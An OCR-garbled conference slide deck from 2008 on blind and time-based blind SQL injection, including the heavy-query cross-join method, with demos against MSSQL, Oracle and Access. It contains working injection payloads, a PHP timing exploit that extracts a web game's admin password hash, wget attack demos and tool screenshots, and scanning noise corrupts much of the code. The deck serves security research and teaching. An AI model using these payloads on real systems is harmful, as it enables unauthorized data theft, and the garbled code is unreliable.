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Code Injection

HI, THIS IS OH, DERR - DID HE | DID YOU REALLY WELL, WEVE LOST THIS

YOUR SONS SCHOOL. | BREAK SOMETHING? | NAYE YOUR SON YEAR'S STUDENT RECORDS.
WERE HAVING SOME | 1ot Robert'); DROP T HOPE YOURE HAPPY.

(COMPUTER TROUBLE. / TRBLE Stderts;—- 7 i

X X AND T HiPE

! A ~ OH.YES. LITTE . YOUVE LEARNED

BOBBY TRGLES, TO SANMIZE YOUR

m m WE CALL HIM. DATARASE INPUTS.

* Developer don 't sanitize correctly the input parameters
and use them in queries directly:
¢ Command Injection
e SQL Injection
e LDAP Injection
e Xpath Injection

Blind Attacks

* Attacker injects code but can 't access directly to the
data.

* However this injection changes the behavior of the
web application.

* Then the attacker looks for differences between true
code injections (1=1) and false code injections (1=2) in
the response pages to extract data.
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Blind SQL Injection Attacks

e Attacker injects:

* “True where clauses”
* “False where clauses”
e Ex:
» Program.php?id=1and 1=1
» Program.php?id=1and 1=2
* Program returns not any visible data from database
nor data in error messages either.

* The attacker can 't see any data extracted from the
database.

e

e

Blind SQL Injection Attacks

¢ Attacker analyzes the response pages looking for
differences between “True-Answer Page” and “False-
Answer Page”:
e Different hashes
e Different html structure

* Different patterns (keywords)
e Different linear ASCII sums

* “Different behavior”
+ Byexample: Response Time
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Example: “True-Answer Page”

@ ..: CABJ : Sitio Oficial .. - Mozilla Firefox

Archivo  Editar  Ver Historial Marcadores  Herramientas  Ayuda

54 and 1=18&fase=0 [~[®=]

[Google

Club Atlético
Boca Junior

Home | Noticias | Fitbol | Deportes | EICIub| Socios | Entretenimiento | Licencias o
| Resultados
Registrats e
Apertura 2007 | Copa Libertadores | Mundial de Clubes
T e e e oy ey e
+ Fecha x Fecha
i g 2
» Nuevo_1
» Resultados Fecha
Gremio o 2 Boca Juniors
B Mas Boca & Internet 8 El Club
Museo de |a Pasion Boquense Conexidn Xeneize La Bombonera
Estadisticas Preguntas Frecuentes. Historia
Licendas Discador
Conexidn Manual ‘Acdén Social
Terminado ()

e

/
Example: “False-Answer Page”

CABJ : Sitio Oficial ... - Mozilla Firefox

Archivo  Editar  Ver Historial Marcadores Herramientas  Ayuda

o - N B

54 and 1=28tfase=0 [+[B] [Cl[coogie &)

Club Atlético MUSEQ
Boca Juniors BOOUENSE

Home | Noticias | Fiitbol | Deportes | EIClub| Socios | Eniretenimiento | Licencias ~ENELISH:

l Resultados

& Apertura 2007 | Copa Libertadores | Mundial de Clubes

Registrate 21 ConTRASERR?

Prelibertadores | Primera Fase | Octavos de Final | Cuartos de final | Semifinal | Final

B Mas Boca Internet 8 ElClub
Museo de |a Pasién Boquense Conexidn Xeneize La Bombonera
Estadisticas Freguntas Frecuentes Historia
Licendias Discador Camiseta
Conexién Manuzl Accidn Social

7 MEGATONE " (Gt

Terminado




Blind SQL Injection Attacks

If any difference exist, then:
o Attacker can extract all information from database
* How? Using “booleanization”
« MySQL:
Program.php?id=1 and 100>(ASCII(Substring(user(),1,1)))
“True-Answer Page” or “False-Answer Page”?
. MSSQL:

Program.php?id=1 and 100>(Select top 1
ASCII(Substring(name,1,1))) from sysusers)

» Oracle:

Program.php?id=1 and 100>(Select ASCII(Substr(username,1,1)))
from all_users where rownum<=1)

e

Blind SQL Injection Attacks: Tools

* SQLbfTools: Extract all information from MySQL
databases using patterns

H:\ 2mysqlb =H

http-sql adaptive bruteforce $Revision: 1.13 §
ilo@reversing.org http://www.reversing.org

This program is now being developed by Dab at
http://www.unsec.net

host:
port: 8@
uri i  dos.phtml

ar?s: id_autor=134
sql_: user()

sqll: (null)

sqll: @

mat . : David

char: abcdefghijklmnopgrstuvwxyz@123456789%.: -()[1{}@=/\I#71 &A1 0D

[+] dicctionary lenght: 425
[+] dict loaded 380 bytes
resolving

best guess:

user() = www—dgta@localhost
H 4
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e Absinthe: Extract all
information from

MSSQL and Oracle

Blind SQL Injection Attacks: Tools

M Absinthe
File Tools Help

Host Information |0 Schema | Dowrload Records |

Explait Type:
Select the type of injection: (2 Blind Injection (O Error Based

Select The Target Database: [MS 5L server

v

Comnection:

Target LRL: httpf | wovw. miwsbserver comfriprograms. ssp

Comnection Methor: 3) e (post  [Juse 55t

[ comment End of Query [[] Append text to end of query

Authentication

Databases using Linear | omee o 00

sum of ASCII values.

Basic Digest NTLM

Form Parameters:

Parameters | Caokiss |

e L T e Yalue
Defau\tva\ua‘l:l id 370

[Jinjectable Paramater
Treat Value as String

Add Parameter || Add Cookie

<

True

I

VerlFy SQL Server Yersion

Initialize Injection

http:,

T

e

e Absinthe: Extract all
information from

MSSQL and Oracle

Databases using Lineat

sum of ASCII values.

Blind SQL Injection Attacks: Tools

File Todls Help

| Host Information ;DB 3thema ;| Download Records |

Actions:

[ Retrieve Username ] [ Load Table Info | [ Load Fieid Info |

Database

| Username: LISR_WEB

=) Tables:
=]

| ID: 7671078

- Record Court: 0

=) Fields
- ID: 630101499
* Record Count: 0
Fields

- ID: 75147313
* Recard Count: 0
= Fields
£ 772 UNKHOWN 772

L ID: 167671645
© Record Count:
= Fislds
777 UNKNOWN 777

k3

3

http
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Time-Based Blind SQL Injection

¢ In scenarios with no differences between “True-
Answer Page” and “False-Answer Page”, time delays
could be use.

¢ Injection forces a delay in the response page when the
condition injected is True.

- Delay functions:
« SQL Server: waitfor
« Oracle: dbms_lock.sleep
« MySQL:sleep or Benchmark Function

s Ex:
« ;if (exists(select * from users)) waitfor delay '0:0:5’

e

e

Exploit for Solar Empire Web Game

$j=1; Spassword="";
while {Istrstr{$password,chr(0))}
{

i (in_array($i,$mdss)) {
$starttime=time();
$sql="F***"), (1,2,3,4,5,(SELECT IF ((ASCII(SUBSTRING
se_games.admin_pw,".$j.",1))=".5i.") &amp; 1, benchmark
(200000000,CHAR(0)),0) FROM se_games))/*";

1:
2
3
4: for [$i=0; $i&lt;=255; Sit+) {
50
6:
7:

8 Spacket ="POST " $p."game_listing.php HTTP/L.0\An"; Sdata="_name=Admin";

9: Spacket.="Accept: image/gif, image/x-xbitmap, i ] I hock flash, *
/*\An"; $packet.="Accept-Language: ityr\n";

10: Spacket.="Content-Type: application/x-www-form-urlencoded\r\n";

11 Spacket.="Accept-Encoding: gzip, deflate\rin;

12 Spacket.="CLIENT-IP: .9.9.9'; echo '123\r\n"; Spacket.="Host: ".Shost."\r\n";

13 Spacket.="User-Agent: Ssql\r\n";

14: Spacket.="Content-Length: ".strlen(Sdata)."\r\n"; Spacket.="Connection: Close\r\n";

1s: S$packet.="Cache-Centrel: no-cache\r\n\r\n"; S$packet.=S$data;

16: sendpacketii($packet);

17: $endtime=time();

18: Sdifftime=Sendtime - $starttime;

19: if (Sdifftime > 7) {$password.=chr($i); break;}

20: 1

21: if (5i==255) {die("Exploit failed...");]

22: }

23 SpHs

24:}

25: Suname Hash is: Spassword"”;
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Time-Based Blind SQL Injection: Tools

SQL Ninja: Use exploitation of “Waitfor” method in
MSSQL Databases

e

e

el

Time-Based Blind SQL Injection

And in these scenarios with no differences between
“true-answer page” and “false-answer page”...
What about databases engines without delay

functions, i.e., MS Access, Oracle connection without
PL/SQL support, DB2, etc...?

Is possible to perform an exploitation of Time-Base
Blind SQL Injection Attacks?

07/04/2008



e-Based Blind
using Heavy Queries

¢ Attacker can perform an exploitation delaying the
“True-answer page” using a heavy query.

¢ It depends on how the database engine evaluates the
where clauses in the query.

* There are two types of database engines:

e Databases without optimization processes.

» The engine evaluates the condition in the where clauses from
left to right or from right to left.

- Select items from table where codition1 and conditionz.

« Itisa developer task to evaluate the lighter condition in first
place for better performance.

njection

e-Based Blind
using Heavy Queries

* There are two types of database engines:

njection

* Databases with optimization processes.

+ The engine estimates the cost of the condition evaluations in
the where clauses and execute the lighter first. No matter
where it is.

- Select items from table where codition1 and conditionz.
« Itis a database engine task to improve the performance of the
query.
* An Attacker could exploit a Blind SQL Injection attack
using heavy queries to obtain a delay in the “True-
answer page” in both cases.
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Time-Based Blind SQL Injection
using Heavy Queries

Attacker could injects a heavy Cross-Join condition for
delaying the response page in True-Injections.

The Cross-join injection must be heavier than the other
condition.

Attacker only have to know or to guess the name of a table
with select permission in the database.

Example in MSSQL:

 Program.php?id=1and (SELECT count(*) FROM sysusers AS
SYSI1, SySUSErs as Sys2, SySusers as sys3, sysusers AS sys4,
sysusers AS syss5, sysusers AS sys6, sysusers AS sys7, sysusers
AS sys8)>0 and 300>(select top 1 ascii(substring(name,1,1))
from sysusers)

e

Demo 1: MS SQL Server

C:osaswgetruget-1.18 —v “http:/Auwu. informaticabd.comsblind2/pista.aspx?id_pista=
1 and (SELECT count{#) FROM syzuszerz A% syzl, sysusers as sys?, sysusers as sysd
. syzusers AS zuysd, sysusers AS zysh, sysusers AS =ysb, sysusers AS =ys?, sysusze
rz AS zyzB)>@ and 3BB>Cselect top 1 asciidzubstringlname.l.12? from sysuserz)” —
0 resultadol.txt
—-23:49:11-- http:/7vwu.informaticabd.comsblind2 pista.aspx?id_pista=1x28andx28
CSELECT»2Bcount () 20FROM: 28z ysuzeprs2BAS» 28z ysl , x2Bz yzuzerex2Basx 2Bzys2 . 28z yzu
ceprsx2BazxdBzysd, »2Bzysusers2BAE 2Bz ysd, 2Bz ysuzers 2BAS 282 ysS v 2Bz yzuzere 28R
Sx2Bzyzb6, x2Bzysuserex2BASx 28z yeY, #2Bzysuserex 2BAEx 2Bz y2 B ) 3EB: 2Band 20308 JE(ze ]l
ectx2Btopx281x2Basciidsubstring{name,1,1)>%28fronx2Bzysusers?

=» ‘resultadol.txt’
Rezolving www.informaticabd.com... BB.81.186.148
Connecting to wuww.informaticabd.comiBB.81.186.148::88... connected.
HITP request sent, awaiting response... 288 OK
Length: B&B [text/html]

23:49:25 (12.35 MB/s> - ‘resultadol.txt’ saved [868/8681

Query lasts 14 seconds -> True-Answer

07/04/2008
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Demo 1: MS SQL Server

C:sasugetruget—1 .18 —v "http://wuw.informaticab4.comsblind2-/pista.aspx?id_pista
1 and (SELECT count{(*> FROM sysusers A% sysl. sysusers as sys2. sysusers as sysl]
. sysusers A8 sys4, sysusers AS sysbh. sysusers AS sysb,. sysusers A% sys?,. sysuse
rz AS sysB, sysusers as zyz92>@ and (B>(select top 1 asciidsubstringiname,1,1>>
f rom master._sysdatabases))>" -0 resultadol . txt

—AA:AA:28— http:/fuww.informaticab4.comsblind2/pista.aspx?id_pista=1%2Bandx28
CSELECT»#2Bcount{*)>»2BFROM::28z ysusersx20A5x28sysl .#2@sysusersx2Bas2Bsys2, 1283 ysu
cersx2Basx20zys3, x2Bzysusersx20ASx 20z ysd, 2Bz ysusers x 2BAS x 2Bs ys5 2Bz ysusersx 200
S»20sysh 20z ysusersx2B8ASx2Bsys? . x2Bsysusersx2BA8x 20z ysB, »2Bsysusers»2Bas 2Bz ys?
2 IEB2Bandx20C(A%3E{(selectx2Atopx2P1x2Rascii{substring{name 1,12 2x28f rom*2@maste|
. .syzdatabases))

=¥ ‘resultadol.txt’

Resolving www.informaticab4.com... 8A.81_186.148

Connecting to www.informaticabd4.comiff.81.186.1481:80... connected.
HITP reguest sent, awaiting response... 288 OK

Length: 988 [text-html]

188 [== =»1 288
BA:PA:29 (13_87 MBrz> — ‘resultadol.txt’ saved [9808-7081

Query lasts 1 second -> False-Answer

Demo 2: Oracle

sspruebas >uwget —v “http:/sblind.elladodelmal.comsoraclespista.aspx?id_pista=1 a
d ¢(select count{=> from all users tl, all users t2, all_users t3. all users t4.
11_users t5> > B and 388 > ascii{SUBSTR{(<{select username from all_users where nr
ownum = 13>.1,.1>>" -0 pesultado.txt

—16:17:55— http:/rblind.elladodelmal.com:8B/0raclespista.aspx?id_pista=1x20an
#20¢selectz2Bcount (x2A>%x20fromx2Ball_usersx20tl,«x20all use Bt2,.%20all usersx
[28t3.%20all_usersx20td.all_usersx28t5h>x20x3Ex200:20and»26830 Bx3Ex2Bascii(SUBST
[R{{selectx2Busernamex2B8f romx28all_usersx2Buvherex2Brownum:28=281>.1.1>>

=> ‘resultado.txt’

onnecting to blind.elladodelmal.com:88... connected?

TTP request sent. awaiting response... 288 0K
Length: 886 [text-html]

aK -> [188:1

16:18:17 (886.80 Brs> — ‘resultado.txt’ saved [886/886]

Query Lasts 22 seconds —> True-Answer

07/04/2008
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Demo 2: Oracle

C:spruebas >uget —v "http:-sblind.elladodelmal.comsoraclespista.aspx?id_pista=1 a
nd <(select count{=*> from all users tl, all users t2, all_users t3. all_users t4,
all _users t5> > B and B > ascii(SUBSTR{({select username from all_users where row|
num = 13>.1.1>>" -0 presultado.txt

—16:19:52— http:-sblind.elladodelmal.com:8B-0raclespista.aspx?id_pista=1x2B8an
dx28¢selectx2Bcount (x2A>x20f romx2Aall_usersx28tl,.x20all_usersx2B8t2.x2B0all_usersx
208t3,.x20all_usersx28t4.all_usersx20t53x28:3E.288:20and»208::28::3E»2Bascii(SUBSTR(
{selectx2Busernamex2B8f romx2Ball_usersx2Buherex2Brounun:28=x201>.1.1>>

=> ‘resultado.txt’

Connecting to bhlind.elladodelmal.com:88... connected?
HITP request sent. awaiting response... 288 0K
Length: 884 [textshtml]

8K > [188:x1
16:19:53 (864.88 B/s> - ‘resultado.txt’ saved [804-864]

Query Lasts 1 second —> False-Answer

g k——-—_—_
e

Demo 3: Access 2000

C=“asuwgetduget—1 .18 —v "http:/svww.informaticab4.comsretohacking/pista.aspx?id_|
ista=1 andx2@(SELECTx2Bcount (*>x20FROM:28ME ysAccess0bjectsx2BASx2AT1 . x28MS5ysAcce
l=s0bjectsx20A8x20T2, x20MSysAccess0bjectsx2BASx20T3  »2BMS ysfAiccess0bjectsx2BASx 20T
4.2 28MS ysfAccess0bjectsx2BAS X 2AT5 , x20MS ysAccess0bjectsx2BASX20T6 . x2BMS ysAccess0hj
ectsx2BAS20T7 MSysAccess0bjects»2BAS2ATE  MSysAccess0bjectsx20AS»2BTY . MSysAcces
l=0bjectsx2BASx2BT168>>A and exists (select * from contrasena —0 resultadol.txt
——@B:@5:44— http:/swm.informaticab4d.consretohackingspista.aspx?id_pista=1x28.
nd»2B(SELECT»2Bcount {*>x 2BFROM«2BME ysAccess0bjectsx2BASx28T1 . »28MS ysAccess0bject
= 2BA5%28T2 ,»x20MS ysAccess0hjectsX2B8ASx20T3, »20MS ysAccessObjectsx2BAS20T 4, »28MS
lAccess0bjectsx2BASx2ATS5 . »20M8 ysAccess0bjectsx2BASX2AT6 . x20MS ysAccess0bjectsx2BA

2x208T7 . MSysAccess0bjectsx2BASx20TE .M ysAccess0bjectsx2BASx2AT? .MSysAccess0bjects

20A5»20T18>x3EBx208andx2Bexistsx2B(selectx2B8=:20f rom<2Bcontrasena’
“resultadol.txt’

Resolving www.informaticabd.com... 80.81.186.148

[Connecting to www.informaticabd.comiBB@.81.186.1481:88... connected.

HTTF request sent. awaiting response... 208 0K

Length: 1,578 <1.5K> [textshtml]

188 [= =»1 1.578
PEA:-A5:58 (21.46 MBrs> — ‘resultadol.txt’ saved [1578-15781]

Query Lasts 6 seconds —> True-Answer

07/04/2008
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Demo 3: Access 2000

C=vaswgetdwget—1 .18 —vw “http://wwu.informaticab4.com/retohacking/pista.aspx?id_p
ista=1 andx2BC(SELECT»2Bcount (*}x2A8FROM»x2BMS ysAccess0bjectsx2BA5x 20T, #x2BM5 ysAcce
es0bjectsx2BA5x2AT2 , »20MSysAccess0bjectsx2BASx2AT 3, »2BMS ysAccess0bjectsx2BAS2AT)
4, 20M5ysAccess0bjectsx20A5%20T5 . 2BMS ysAccess0bjectsx 2BAS» 20T6 , #2BMS ysAccess0hj
ectsx2BASx2AT7? . MEysfccess0bjectsx2BAS2BTE . MSysAccess0bjectsx2BAS%2ATY? . MSysAcces
=0bjectsx2BASx2AT1A>>@ and not exists (select * from contrasenad'" —0 resultadol.
txt
——BB:B5:36— http:/swuw.informaticabd.comsretohacking/pista.aspx?id_pista=1x28a)
ndx2ACSELECT#28count (*)x20FROMx20MS ysAccess0bjectex2BA8»20T1 . «2BMSysAccess Object
= 2BASX20T2 . »2BMS ysAccess0bjectsx2BAS 28T 3, »x28M S ysAccess0hjectsx20AS 20T 4, »28MS vy
=Access0bjectsx2BASx28T5 . x20MSysfAccess0bjectsx20A8x28T6 . «x2BMS ysAccess0bjectsx28A
52817 .MSysAccess0bjectsx2BASx20TE .HSysAccessOhjectsx2BASX2BT? .MSysAccessOhjects
20A5»28T18>x3EBx20and»20notx2Bexistsx2B(selectx2B8=:20f ron: 2Bcontrasena’

=> ‘pezultadol.txt’
Rezolving www.informaticab4.com... 86.81.106.148
Connecting to www.informaticab4.comiBB.81.186.1481:80. .. connected.
HTTP request sent, awaiting response... 288 0K
Length: 1.582 (1.5K> [textshtml]

Query Lasts 1 second —> False-Answer

= e - AAAAAA

Demo 4: Access 2007

C:spruehas>uget —v "http:/slocalhost:3692/Blind3 pista.aspx?id_pista=1 and <(SELE
CT count{*) from MEysAccessStorage tl., MEysAccessStorage t2,. MSysAccessStorag
e t3,. MSysAccessStorage t4. M3usAccessStorage t5, MSysAccessStorage t6) > B an
d exists ¢select * from contrasena)" -0 resultado.txt

—@A8:59:53— http:-slocalhost:3692-/Blind3/pista.aspx?id_pista=1%x2Band=2A{SELECT
2Bcount CA2AXR2Bf romx 28X 20ME ysAccessStoragex28tl . x20x2BMSysAccessStoragex 280t 2, 2
B 2BMESysAccessStorage20t3 , »20ME8ysAccessStoragex20t4, »20:20MS y=AccessStorage 28t
L .#20:x28MEysAcces °Storage/28t6)/23/3E/2@8/2@and/2ﬂex1°t°/2ﬁ(°e1ect/23/2ﬂ/23from/

2B8contrasenal

=» ‘resultado.txt’
Connecting to localhos 622... connected?
HITP request sent. awaiting response... 288 0K
Length: 827 [text-html]

[188:1

Query Lasts 39 seconds —> True-Answer

07/04/2008
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Demo 4: Access 2007

C:spruehas>uwget —v "http:/“localhost:3692/Blind3/pista.aspx?id_pista=1 and (SELH
CT count{*} from MSysAccessStorage t1l. MSysAccessStorage t2, MSysAccessStora
e t3. MSysfAccessStorage t4. MSysAccessStorage t5. MSysAccessStorage tb> > B an
d not exists (select ¥ from contrasena’" -0 resultado.txt
—A%:82:09— http://localhost:3692/Blind3/pista_aspx?id_pista=1¥20andx2B(SELECT
x2Bcount (2203 28f romx 20 20M8 ysAccessStoragex20tl ¥ 20x2BMS ysAccessStoragex 2@t /2
B 20MSysAccessStoragex20t3 . ©20MSysAccessStoragex2B8t4, 20 20M5 ysAccessStorage
L. x20x2BM8 ysAcces ¢Storage/2ﬂt6)/2BI3E/2BE/2Band/2Bnot/2Bex1¢t¢/2B(¢elect/23/2ﬂ/2
Bf ronx2Bcontrasenal

=» ‘pesultado._txt’
Connecting to localhost:3692... connected?
HTTP regquest zent, awaiting response... 288 0K
Length: 831 [textshtml]

8K > [188: 1
@9:82:89 (811 .52 KBrs» — ‘resultado.txt' saved [831-8311

Query Lasts 1 second —> False-Answer

Marathon Tool

Automates Time-Based Blind SQL Injection Attacks
using Heavy Queries in SQL Server and Oracle
Databases.

Schema Extraction

Developed in .NET

07/04/2008
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emo 5: Marathon Too

a5l Marathon Tocl eSS

File

Corfigurstion | Database schema | Debug log

Target corffiguration

Target base URL:  http://blind sllzdodelmal com/sal 2005 /pista aspx7d_pista=1

Database engine: [ Microsoft SAL Senver v
Microsoft SQL Server [
Injection options L
Min. heavy query time: 35002 ms Repeat tests count 2R
HTTP request timeout: 40005 ms Min. joins for queries:
Pause after heavy query: 5000 C ms Max. joins for queries: 15 C
Pause after any query: 250H| ms [ Enable equal sign in selects
Heavy queries tables sysusers, sys databases

Start injection

ErEEaE

Conclusions

* Time-Based Blind SQL Injection using Heavy Queries
works with any database.

* The delay generated with a heavy query depends on
the environment of the database and the network
connection.

e It is possible extract all the information stored in the
database using this method.

* We already have a POC tool for extract all the database
structure in MSSQL and Oracle engines.
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